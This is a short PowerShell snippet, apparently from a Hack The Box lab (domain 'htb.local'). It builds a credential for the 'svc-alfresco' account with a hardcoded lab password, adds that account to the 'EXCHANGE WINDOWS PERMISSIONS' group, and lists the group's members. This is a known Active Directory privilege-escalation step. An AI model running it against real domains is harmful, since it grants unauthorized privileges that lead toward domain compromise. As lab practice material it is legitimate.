$SecPassword = ConvertTo-SecureString 's3rvice' -AsPlainText -Force

$Cred = New-Object System.Management.Automation.PSCredential('htb.local\svc-alfresco', $SecPassword)

Add-DomainGroupMember -Identity 'EXCHANGE WINDOWS PERMISSIONS' -Members 'svc-alfresco' -Credential $Cred

Get-DomainGroupMember -Identity 'EXCHANGE WINDOWS PERMISSIONS'